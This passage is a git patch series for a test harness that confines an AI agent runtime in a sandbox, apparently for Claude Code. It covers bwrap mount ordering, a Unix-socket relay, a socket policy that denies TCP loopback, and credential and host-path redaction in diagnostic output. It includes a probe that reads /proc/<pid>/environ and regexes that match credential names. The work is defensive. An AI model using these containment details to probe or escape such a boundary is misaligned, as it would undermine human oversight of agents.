a/scripts/worker-effect-witness.ts b/scripts/worker-effect-witness.ts index e39fd1e765..e8673cee47 100644 --- a/scripts/worker-effect-witness.ts +++ b/scripts/worker-effect-witness.ts @@ -1,26 +1,28 @@ -/** Controlled native fixture observations; inference and witnesses stay on loopback. */ +/** Controlled native observations share the one scripted inference service. */ export function fixtureShellQuote(text: string): string { return `'${text.replaceAll("'", "'\"'\"'")}'`; } - export function createWorkerEffectWitness(paths: Record) { const effects = Object.fromEntries(Object.keys(paths).map(key => [key, false])); - const observer = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { - const observed = await request.json(); - if (!Object.keys(effects).every(key => typeof observed[key] === "boolean")) return new Response(null, { status: 400 }); - for (const key of Object.keys(effects)) effects[key] = observed[key]; - return new Response(null, { status: 204 }); - } }); - const url = `http://127.0.0.1:${observer.port}`; + const path = `/__fixture_effects/${crypto.randomUUID()}`; const witness = `import {existsSync} from "node:fs"; const paths=${JSON.stringify(paths)}; - const response=await fetch(${JSON.stringify(url)},{method:"POST",body:JSON.stringify( + const socket=process.env.ANTHROPIC_UNIX_SOCKET; + if(!socket)throw Error("Fixture effect witness requires the pinned scripted Unix service"); + const url=new URL(${JSON.stringify(path)},process.env.ANTHROPIC_BASE_URL); + const response=await fetch(url,{unix:socket,method:"POST",body:JSON.stringify( Object.fromEntries(Object.entries(paths).map(([key,path])=>[key,existsSync(path)])))}); if(!response.ok) process.exit(1);`; - return { - effects, + return { effects, path, + async fetch(request: Request): Promise { + if(request.method!=="POST"||new URL(request.url).pathname!==path)return new Response(null,{status:404}); + const observed = await request.json(); + if (!Object.keys(effects).every(key => typeof observed[key] === "boolean")) return new Response(null, { status: 400 }); + for (const key of Object.keys(effects)) effects[key] = observed[key]; + return new Response(null, { status: 204 }); + }, command: `${fixtureShellQuote(process.execPath)} -e ${fixtureShellQuote(witness)}`, - sanitize: (text: string) => text.replaceAll(process.execPath, "").replaceAll(url, ""), - stop: () => observer.stop(true), + sanitize: (text: string) => text.replaceAll(process.execPath, "").replaceAll(path, ""), + stop() {}, }; } diff --git a/tests/native-bootstrap-diagnostics.test.ts b/tests/native-bootstrap-diagnostics.test.ts new file mode 100644 index 0000000000..60d89ab84e --- /dev/null +++ b/tests/native-bootstrap-diagnostics.test.ts @@ -0,0 +1,51 @@ +import { expect, test } from "bun:test"; +import { join } from "node:path"; +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; + +test("nonzero trusted bootstrap forwards protocol stderr and records a scrubbed reason", async () => { + const pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); + const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"); + const child=spawnGuardFixture([process.execPath,"-e",` + import {Readable} from "node:stream"; + import {createWorkerPipes} from ${JSON.stringify(pipes)}; + const p=createWorkerPipes();const streams=p.streams();const errors=new Response(Readable.toWeb(streams.stderr)).text(); + const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/false"],argv:["/usr/bin/false"]})},stdio:[p.child[0],p.child[1],p.child[2],1]}); + p.closeChild();streams.stdin.end();const code=await boot.exited;console.error("FORWARDED:"+await errors);streams.stdout.destroy();await Bun.sleep(30); + `],{env:{PATH:"/usr/bin:/bin"}}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); + expect(output,"BOOTSTRAP_STDERR_FORWARDED").toContain("Worker launcher refused: non-protocol descriptor"); + const records=output.split("\n").filter(line=>line.startsWith('{"kind":"native-offline-bootstrap-failure"')).map(line=>JSON.parse(line)); + expect(records,"BOOTSTRAP_FAILURE_HAS_REASON").toHaveLength(1); + expect(records[0].reason).toContain("non-protocol descriptor");expect(records[0].exitCode).toBe(1); +}); + +test("bootstrap reason records redact named credentials and bound diagnostic text",async()=>{ + const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); + const child=spawnGuardFixture([process.execPath,"-e",` + import {prepareNativeBootstrapDiagnostics,recordNativeGuardChild} from ${JSON.stringify(guard)}; + import {createWorkerPipes} from ${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"))}; + const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); + const capture=prepareNativeBootstrapDiagnostics({stderr:p.child[2],stdout:"ignore",stdin:"ignore"}); + const boot=Bun.spawn(["/bin/sh","-c","exit 7"],capture.options); + const evidence=capture.attach(boot);p.closeChild();streams.stdin.end(); + recordNativeGuardChild(boot,true,{...evidence,snapshot:()=> ["MY_PASSWORD=short-secret",'{"token":"tiny-token"}',"/home/odysseus/private.json",Array(4000).fill("benign").join(String.fromCharCode(10))].join(String.fromCharCode(10))}); + await boot.exited;await evidence.drained;await Bun.sleep(30); + `],{env:{PATH:"/usr/bin:/bin"}}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); + const record=JSON.parse(output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-bootstrap-failure"'))!); + expect(record.reason.length,"BOOTSTRAP_REASON_IS_BOUNDED").toBeLessThanOrEqual(4096); + expect(record.reason.length).toBeGreaterThan(3000); + for(const value of ["short-secret","tiny-token","/home/odysseus"])expect(record.reason,"BOOTSTRAP_REASON_IS_SCRUBBED").not.toContain(value); +}); + +test("diagnostic tee preserves FIFO-only bootstrap admission for a harmless executable",async()=>{ + const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); + const child=spawnGuardFixture([process.execPath,"-e",` + import {createWorkerPipes} from ${JSON.stringify(pipes)}; + const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); + const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); + p.closeChild();streams.stdin.end();const code=await boot.exited;if(code!==0)throw Error("SYNTHETIC_FIFO_BOOTSTRAP_REFUSED");await Bun.sleep(30); + `],{env:{PATH:"/usr/bin:/bin"}}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); + expect(output).toContain('"exitCode":0');expect(output).not.toContain('"kind":"native-offline-bootstrap-failure"'); +}); diff --git a/tests/native-process-observation.test.ts b/tests/native-process-observation.test.ts new file mode 100644 index 0000000000..c045adcd78 --- /dev/null +++ b/tests/native-process-observation.test.ts @@ -0,0 +1,20 @@ +import { expect, test } from "bun:test"; +import { readlinkSync, readFileSync } from "node:fs"; +import { join } from "node:path"; +import { selectedNativePid } from "../packages/ui-backend-claude/tests/helpers/native-process-observation"; + +test("selected executable observations follow the owned wrapper's actual descendant", async () => { + const expected = readlinkSync("/proc/self/exe"); + const wrapper = Bun.spawn(["/bin/sh", "-c", '"$1" -e "console.log(123); await Bun.sleep(30000)" & wait', "odysseus-wrapper", process.execPath], { stdout: "pipe", stderr: "pipe" }); + let target: number | undefined; + try { + const reader = wrapper.stdout.getReader();await reader.read();reader.releaseLock(); + target = selectedNativePid(wrapper.pid, expected); + expect(target, "WRAPPER_IS_NOT_THE_SELECTED_PAYLOAD").not.toBe(wrapper.pid); + expect(readlinkSync(`/proc/${target}/exe`)).toBe(expected); + expect(() => selectedNativePid(wrapper.pid, "/synthetic/unselected/runtime"), "UNSELECTED_RUNTIME_REFUSED").toThrow("did not contain"); + const source=readFileSync(join(import.meta.dir,"../packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts"),"utf8"); + expect(source).toContain("selectedNativePid(nativeChild.pid, expectedExecutable)"); + expect(source).toContain("/proc/${pid}/environ"); + } finally { if(target)try{process.kill(target,"SIGKILL");}catch{}wrapper.kill();await wrapper.exited; } +}); diff --git a/tests/native-sdk-stderr-capture.test.ts b/tests/native-sdk-stderr-capture.test.ts index 52d7c47601..7f0b1f039a 100644 --- a/tests/native-sdk-stderr-capture.test.ts +++ b/tests/native-sdk-stderr-capture.test.ts @@ -40,3 +40,22 @@ test("hosted file-tool fixture installs SDK capture before query and flushes in expect(source).toContain("stderr: sdkStderr.stderr"); expect(source).toContain("} finally {\n sdkStderr.flush();"); }); + + +test("SDK stderr scrubs short named credentials in environment and quoted JSON forms", async () => { + const values=["short-secret", "plain-secret", "short-password", "json-secret", "tiny-token", "camel-secret"]; + const text='ANTHROPIC_AUTH_TOKEN=short-secret\nANTHROPIC_API_KEY=plain-secret\nMY_PASSWORD=short-password\n{"apiKey":"json-secret","token": "tiny-token","authToken":"camel-secret"}\n'; + const child=spawnGuardFixture([process.execPath,"-e",`import {captureNativeSdkStderr} from ${JSON.stringify(helper)};const c=captureNativeSdkStderr([]);c.stderr(${JSON.stringify(text)});c.flush();`],{env:{PATH:"/usr/bin:/bin"}}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); + for(const value of values)expect(output,"SHORT_NAMED_CREDENTIAL_REDACTED").not.toContain(value); +}); + +for(const edge of ["first","tail"] as const)test(`SDK stderr drops a token split across the ${edge} byte boundary`,async()=>{ + const token="SIRENS_BOUNDARY_ITHACA_TAIL_SECRET",marker=edge==="first"?"SIRENS_BOUNDARY":"SECRET"; + const window=SDK_STDERR_WINDOW_BYTES; + const text=edge==="first"?"a".repeat(window-16)+"\n"+token+"\n"+"b".repeat(window*3)+"\nend\n": + "start\n"+"a".repeat(window*3)+token+"\n"+"b".repeat(window-16)+"\nend\n"; + const child=spawnGuardFixture([process.execPath,"-e",`import {captureNativeSdkStderr} from ${JSON.stringify(helper)};const c=captureNativeSdkStderr([]);c.stderr(${JSON.stringify(text)});c.flush();`],{env:{PATH:"/usr/bin:/bin"}}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); + expect(output,"CUT_TOKEN_LINE_OMITTED").not.toContain(marker); +}); diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts index eaa1bab50e..04625b6b2d 100644 --- a/tests/native-startup-audit.test.ts +++ b/tests/native-startup-audit.test.ts @@ -44,3 +44,14 @@ for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized else {expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} }finally{fs.rmSync(root,{recursive:true,force:true});} }); + + +test("failed-open labels retain fixture-relative names and remove every outside path segment",()=>{ + const paths=["/fixture/voyage/loom.env","/home/secret-captain/My Secret/config","/root/private","/proc/self/exe","/sys/kernel/private","/dev/secret-device","/etc/secret-settings","/usr/lib/secret-runtime","/outside/secret-owner/file"]; + const trace=paths.map(path=>`9 openat(AT_FDCWD, ${JSON.stringify(path)}, O_RDONLY) = -1 EACCES`).join("\n"); + const text=scrubNativeStartupTrace(trace,["/fixture/voyage"]); + expect(text,"FIXTURE_FAILED_OPEN_IS_IDENTIFIED").toContain("fixture-0:loom.env"); + for(const category of ["home-outside-fixture","proc","sys","dev","etc","runtime-root","other-absolute"])expect(text).toContain(`"${category}"`); + for(const hidden of ["secret-captain","My Secret","secret-owner","secret-runtime","secret-device","/home/","/fixture/","/root/","/outside/"])expect(text,"FAILED_OPEN_HOST_PATH_IS_OMITTED").not.toContain(hidden); + expect(text).toContain("EACCES"); +}); diff --git a/tests/worker-effect-witness.test.ts b/tests/worker-effect-witness.test.ts new file mode 100644 index 0000000000..5da6352712 --- /dev/null +++ b/tests/worker-effect-witness.test.ts @@ -0,0 +1,26 @@ +import { expect, test } from "bun:test"; +import { mkdtempSync, writeFileSync, rmSync, readFileSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { createWorkerEffectWitness } from "../scripts/worker-effect-witness"; +import { scriptedModel } from "../scripts/measure-claude-runtime"; +import { compileSocketPolicy, nativeTestHead, startNativeTestRelay } from "../scripts/test-native-guard"; + +test("worker effect witness records through the registered scripted service path and Unix relay",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-effect-witness-")),marker=join(root,"loom");writeFileSync(marker,""); + const witness=createWorkerEffectWitness({marker}),model=scriptedModel();model.plan(null,witness); + const relay=startNativeTestRelay(model.url); + try{ + const child=Bun.spawn(["/bin/sh","-c",witness.command],{env:{PATH:"/usr/bin:/bin",ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:join(relay.directory,"relay.sock")},stdout:"pipe",stderr:"pipe"}); + const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]); + expect(code,errors).toBe(0);expect(witness.effects.marker,"EFFECT_RECORDED_ON_SCRIPTED_SERVICE").toBe(true); + const source=readFileSync(join(import.meta.dir,"../scripts/measure-claude-delegation.ts"),"utf8"); + expect(source).toContain("pathname===witness.path)return witness.fetch(req)"); + }finally{relay.dispose();model.stop();rmSync(root,{recursive:true,force:true});} +}); + +test("native connect policy continues to deny a separate TCP loopback endpoint",()=>{ + const proof=Bun.spawnSync([compileSocketPolicy(),"--probe",nativeTestHead()],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); + expect(proof.exitCode,proof.stderr.toString()).toBe(0); + expect(proof.stdout.toString(),"SEPARATE_TCP_ENDPOINT_DENIED").toContain("NATIVE_SOCKET_POLICY_HELD"); +}); From f29eaabb02bcd4b2e15b025546e695ea78dc2744 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 12:07:49 +0000 Subject: [PATCH 067/187] test: keep measurement preload ahead of fixture type imports --- scripts/measure-claude-runtime.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index a10464aa9c..60d4d41259 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -1,5 +1,5 @@ -import type { createWorkerEffectWitness } from "./worker-effect-witness"; import "./measurement-entry-preload.ts"; +import type { createWorkerEffectWitness } from "./worker-effect-witness"; import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // Re-measures the Claude Code runtime behaviours the permission design rests // on, against whatever SDK and CLI this workspace installs (#209, From 9a84724b251e3b08d7072e798864b9af38a14d1e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 12:13:01 +0000 Subject: [PATCH 068/187] test: redact short bearer values as complete credential assignments --- scripts/test-native-guard.ts | 2 +- tests/native-sdk-stderr-capture.test.ts | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 9b049553e3..a23587b615 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -806,7 +806,7 @@ const fixtureKeepers = new Map/(?:key|token|secret|password|auth)[\w$.-]*$/i.test(name)?"[redacted credential]":entry); } interface BootstrapEvidence { snapshot():string; drained:Promise } diff --git a/tests/native-sdk-stderr-capture.test.ts b/tests/native-sdk-stderr-capture.test.ts index 7f0b1f039a..e25519fac5 100644 --- a/tests/native-sdk-stderr-capture.test.ts +++ b/tests/native-sdk-stderr-capture.test.ts @@ -43,8 +43,8 @@ test("hosted file-tool fixture installs SDK capture before query and flushes in test("SDK stderr scrubs short named credentials in environment and quoted JSON forms", async () => { - const values=["short-secret", "plain-secret", "short-password", "json-secret", "tiny-token", "camel-secret"]; - const text='ANTHROPIC_AUTH_TOKEN=short-secret\nANTHROPIC_API_KEY=plain-secret\nMY_PASSWORD=short-password\n{"apiKey":"json-secret","token": "tiny-token","authToken":"camel-secret"}\n'; + const values=["short-secret", "plain-secret", "short-password", "json-secret", "tiny-token", "camel-secret", "short-bearer", "short-basic"]; + const text='ANTHROPIC_AUTH_TOKEN=short-secret\nANTHROPIC_API_KEY=plain-secret\nMY_PASSWORD=short-password\nAuthorization: Bearer short-bearer\nAUTH=Basic short-basic\n{"apiKey":"json-secret","token": "tiny-token","authToken":"camel-secret"}\n'; const child=spawnGuardFixture([process.execPath,"-e",`import {captureNativeSdkStderr} from ${JSON.stringify(helper)};const c=captureNativeSdkStderr([]);c.stderr(${JSON.stringify(text)});c.flush();`],{env:{PATH:"/usr/bin:/bin"}}); const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); for(const value of values)expect(output,"SHORT_NAMED_CREDENTIAL_REDACTED").not.toContain(value); From 833e1080875ed5efc2debcd982932bf61159770d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 12:48:03 +0000 Subject: [PATCH 069/187] test: settle native diagnostics before exit and preserve readonly mount order --- scripts/test-native-guard.ts | 43 ++++++++++++++++------ scripts/test-network-guard.ts | 13 ++++++- tests/native-bootstrap-diagnostics.test.ts | 22 ++++++++++- tests/native-bootstrap-health.test.ts | 36 ++++++++++++++++++ tests/native-offline-boundary.test.ts | 8 ++-- tests/native-readonly-mount-order.test.ts | 38 +++++++++++++++++++ tests/native-sdk-stderr-capture.test.ts | 13 +++++++ 7 files changed, 156 insertions(+), 17 deletions(-) create mode 100644 tests/native-bootstrap-health.test.ts create mode 100644 tests/native-readonly-mount-order.test.ts diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index a23587b615..6c0f1b14af 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -354,6 +354,25 @@ function auditAcl(operation: "set" | "check", uid: number, directory: string, lo catch { return false; } } +/** Safe diagnostic identities; no outside path segment is part of a label. */ +export function nativeDiagnosticPathLabel(path:string,fixtureRoots:readonly string[]=[]):string { + const root=fixtureRoots.find(root=>path.startsWith("/")&&within(resolve(root),resolve(path))); + const label=root?`fixture-${fixtureRoots.indexOf(root)}:${resolve(path).slice(resolve(root).length).replace(/^\//,"")||"."}`: + !path.startsWith("/")?"relative":within("/proc",path)?"proc":within("/sys",path)?"sys":within("/dev",path)?"dev":within("/etc",path)?"etc": + [ROOT,...SYSTEM].some(root=>within(root,path))?"runtime-root":["/home","/root",process.env.HOME].some(root=>root&&root!=="/"&&within(root,path))?"home-outside-fixture":"other-absolute"; + return label.replace(/[\u0000-\u001f\u007f]/g,"?"); +} +export function labelNativeMountErrors(text:string,fixtureRoots:readonly string[]=[]):string { + return text.replace(/(bwrap:[^\n]*? at )([^\n]+?)(: (?:Read-only file system|Permission denied|No such file or directory))/g, + (_match,start,path,end)=>start+"[mount-target "+nativeDiagnosticPathLabel(path,fixtureRoots)+"]"+end); +} +/** Keep final read-only policy, after all guard-owned mount targets exist. */ +export function deferNativeReadOnlyRemounts(argv:string[],bwrap:number):string[] { + const deferred:string[]=[]; + for(let i=bwrap+1;i{ let path:string;try{path=JSON.parse(quoted);}catch{return '"other-absolute"';} - const root=fixtureRoots.find(root=>path.startsWith("/")&&within(resolve(root),resolve(path))); - let label=root?`fixture-${fixtureRoots.indexOf(root)}:${resolve(path).slice(resolve(root).length).replace(/^\//,"")||"."}`: - !path.startsWith("/")?"relative":within("/proc",path)?"proc":within("/sys",path)?"sys":within("/dev",path)?"dev":within("/etc",path)?"etc": - [ROOT,...SYSTEM].some(root=>within(root,path))?"runtime-root":["/home","/root",process.env.HOME].some(root=>root&&root!=="/"&&within(root,path))?"home-outside-fixture":"other-absolute"; - label=label.replace(/[\u0000-\u001f\u007f]/g,"?"); + const label=nativeDiagnosticPathLabel(path,fixtureRoots); const key=`NATIVEOPENLABEL${labels.size}END`;labels.set(key,label);return JSON.stringify(key); }); }).join("\n"); @@ -806,8 +821,8 @@ const fixtureKeepers = new Map/(?:key|token|secret|password|auth)[\w$.-]*$/i.test(name)?"[redacted credential]":entry); + return text.replace(/(? } /** Tee only the trusted bootstrap's FIFO, preserving its bytes for the launcher. */ @@ -830,7 +845,9 @@ export function prepareNativeBootstrapDiagnostics(options:Record):{o return {drained,snapshot(){let prefix=first.toString("utf8"),suffix=tail.toString("utf8");if(observed>first.length)prefix=prefix.slice(0,Math.max(0,prefix.lastIndexOf("\n")));if(observed>tail.length)suffix=suffix.slice(suffix.indexOf("\n")<0?suffix.length:suffix.indexOf("\n")+1);return observed<=first.length?prefix:prefix+"\n"+suffix;}}; }}; } -export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null },bootstrap=false,evidence?:BootstrapEvidence): void { +export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null },bootstrap=false,evidence?:BootstrapEvidence): Promise { + let completion=Promise.resolve(); + const diagnosticRoots=[...(scriptedRoute.getStore()?.fixtureRoots??[])]; if(bootstrap){ bootstrapDiagnostics.set(child.pid,{get exitCode(){return child.exitCode??null;},get signalCode(){return child.signalCode??null;}}); if(bootstrapDiagnostics.size>256)bootstrapDiagnostics.delete(bootstrapDiagnostics.keys().next().value!); @@ -839,16 +856,17 @@ export function recordNativeGuardChild(child: { pid: number; exited: Promise|undefined;await Promise.race([evidence.drained,new Promise(resolve=>{timer=setTimeout(resolve,2000);timer.unref();})]);clearTimeout(timer);} const text=evidence?.snapshot()??""; - const safe=compilerDiagnostic(redactNativeDiagnosticAssignments(text.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n"))); + const safe=compilerDiagnostic(redactNativeDiagnosticAssignments(labelNativeMountErrors(text,diagnosticRoots).replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n"))); nativeReceipt({kind:"native-offline-bootstrap-failure",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, reason:safe||"worker bootstrap exited nonzero; stderr reason unavailable"}); }; - void child.exited.then(report,()=>report(null)); + completion=child.exited.then(report,()=>report(null)); } - let start: string; try { start = processStart(child.pid); } catch { return; } + let start: string; try { start = processStart(child.pid); } catch { return completion; } guardedChildren.set(child.pid, start); void child.exited.finally(() => { if (guardedChildren.get(child.pid) === start) guardedChildren.delete(child.pid); }).catch(() => {}); + return completion; } /** Fixture-owned output descriptor plus a live, guard-observed namespace; no path exemption. */ export function registerNativeFixtureKeeper(storage: FixtureKeeper): () => void { @@ -1080,6 +1098,7 @@ export function nativeWorkerBoundary(env: Record): { ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : syntheticCredentials(launch.env ?? {})) }; + const readOnlyRemounts=deferNativeReadOnlyRemounts(workerArgv,bwrap); const separator = workerArgv.indexOf("--", bwrap); // bwrap applies mounts in order. Install every guard-owned input after // the launcher's tmpfs/masks, so no later covering mount hides it. @@ -1118,9 +1137,11 @@ export function nativeWorkerBoundary(env: Record): { chmodSync(bridge.directory, 0o755); chmodSync(join(bridge.directory, "relay.sock"), 0o666); workerArgv.splice(workerArgv.indexOf("--", bwrap), 0, "--bind", directory, directory); workerArgv.push(...audited.argv); + workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...readOnlyRemounts); argv[5] = JSON.stringify(supervisor); launch.argv = argv; } else { + workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...readOnlyRemounts); audited = auditNativeLaunch(workerArgv, expected, bridge.dispose); launch.argv = audited.argv; } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 6dbbef14e6..81171ab748 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -198,7 +198,17 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { try { boundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); const result = Reflect.apply(native, Bun, args); - if (key === "spawn") { recordNativeGuardChild(result,bootstrap,bootstrapDiagnostics?.attach(result)); void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose();flushNativeReceipts(); }); } + if (key === "spawn") { + const exited=result.exited,evidence=bootstrapDiagnostics?.attach(result); + const report=recordNativeGuardChild(result,bootstrap,evidence); + const completed=exited.then(async(code:number)=>{ + await evidence?.drained;await report; + boundary?.dispose();workerBoundary?.dispose();flushNativeReceipts();return code; + }); + // Callers can synchronously read a protocol FIFO after this promise. + // No guard-owned writer or deferred receipt remains when it resolves. + Object.defineProperty(result,"exited",{value:completed,configurable:true}); + } else {workerBoundary?.dispose();flushNativeReceipts();} return result; } catch (error) { bootstrapDiagnostics?.dispose(); boundary?.dispose(); workerBoundary?.dispose(); throw error; } @@ -207,6 +217,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { installed = { assertNoEscapes() { + flushNativeReceipts(); assertNoNativeRefusals(); if (escapes.length > reported) { reported = escapes.length; diff --git a/tests/native-bootstrap-diagnostics.test.ts b/tests/native-bootstrap-diagnostics.test.ts index 60d89ab84e..9d83686632 100644 --- a/tests/native-bootstrap-diagnostics.test.ts +++ b/tests/native-bootstrap-diagnostics.test.ts @@ -28,14 +28,15 @@ test("bootstrap reason records redact named credentials and bound diagnostic tex const capture=prepareNativeBootstrapDiagnostics({stderr:p.child[2],stdout:"ignore",stdin:"ignore"}); const boot=Bun.spawn(["/bin/sh","-c","exit 7"],capture.options); const evidence=capture.attach(boot);p.closeChild();streams.stdin.end(); - recordNativeGuardChild(boot,true,{...evidence,snapshot:()=> ["MY_PASSWORD=short-secret",'{"token":"tiny-token"}',"/home/odysseus/private.json",Array(4000).fill("benign").join(String.fromCharCode(10))].join(String.fromCharCode(10))}); + recordNativeGuardChild(boot,true,{...evidence,snapshot:()=> ["MY_PASSWORD=short-secret",'{"token":"tiny-token"}',"Error: ANTHROPIC_AUTH_TOKEN=error-auth-value","failed: MY_PASSWORD=failure-password-value",'{"env":{"apiKey":"nested-api-value"}}','headers: {"x-api-key":"nested-header-value"}','config={"token":"nested-config-value"}' ,"/home/odysseus/private.json","bwrap: Can\'t create file at /etc/odysseus.conf: Read-only file system",Array(4000).fill("benign").join(String.fromCharCode(10))].join(String.fromCharCode(10))}); await boot.exited;await evidence.drained;await Bun.sleep(30); `],{env:{PATH:"/usr/bin:/bin"}}); const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); const record=JSON.parse(output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-bootstrap-failure"'))!); expect(record.reason.length,"BOOTSTRAP_REASON_IS_BOUNDED").toBeLessThanOrEqual(4096); expect(record.reason.length).toBeGreaterThan(3000); - for(const value of ["short-secret","tiny-token","/home/odysseus"])expect(record.reason,"BOOTSTRAP_REASON_IS_SCRUBBED").not.toContain(value); + expect(record.reason).toContain("[mount-target etc]");expect(record.reason).not.toContain("odysseus.conf"); + for(const value of ["short-secret","tiny-token","/home/odysseus","error-auth-value","failure-password-value","nested-api-value","nested-header-value","nested-config-value"])expect(record.reason,"BOOTSTRAP_REASON_IS_SCRUBBED").not.toContain(value); }); test("diagnostic tee preserves FIFO-only bootstrap admission for a harmless executable",async()=>{ @@ -49,3 +50,20 @@ test("diagnostic tee preserves FIFO-only bootstrap admission for a harmless exec const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); expect(output).toContain('"exitCode":0');expect(output).not.toContain('"kind":"native-offline-bootstrap-failure"'); }); + +test("an SDK-first nonzero exit cannot overtake its bootstrap reason and audit receipt",async()=>{ + const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); + const child=spawnGuardFixture([process.execPath,"-e",` + import {mock} from "bun:test"; + const stream={...await import("node:stream/promises")};mock.module("node:stream/promises",()=>({...stream,pipeline:(source,sink)=>{const end=sink.end.bind(sink);sink.end=(...args)=>{setTimeout(()=>end(...args),50);return sink;};return stream.pipeline(source,sink);}})); + const guard={...await import(${JSON.stringify(guard)})};const audit=guard.auditNativeLaunch(["/usr/bin/false"],["/usr/bin/true"],()=>{}); + mock.module(${JSON.stringify(guard)},()=>({...guard,nativeWorkerBoundary(env){const boundary=guard.nativeWorkerBoundary(env);return {...boundary,dispose(){if(env.BRAIN_WORKER_LAUNCH)audit.dispose();boundary.dispose();}};}})); + const {createWorkerPipes}=await import(${JSON.stringify(pipes)});const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); + const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/bin/sh","-c","echo synthetic-bootstrap-failure >&2; exit 1"],argv:["/bin/sh","-c","echo synthetic-bootstrap-failure >&2; exit 1"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); + p.closeChild();streams.stdin.end();await boot.exited;process.exit(1); + `],{env:{PATH:"/usr/bin:/bin"}}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code).toBe(1); + expect(output,"SDK_EXIT_PRESERVES_BOOTSTRAP_REASON").toContain('"kind":"native-offline-bootstrap-failure"'); + expect(output).toContain("synthetic-bootstrap-failure"); + expect(output,"SDK_EXIT_PRESERVES_AUDIT").toContain('"kind":"native-offline-audit"'); +}); diff --git a/tests/native-bootstrap-health.test.ts b/tests/native-bootstrap-health.test.ts new file mode 100644 index 0000000000..77f48f8579 --- /dev/null +++ b/tests/native-bootstrap-health.test.ts @@ -0,0 +1,36 @@ +import { watchdogMs } from 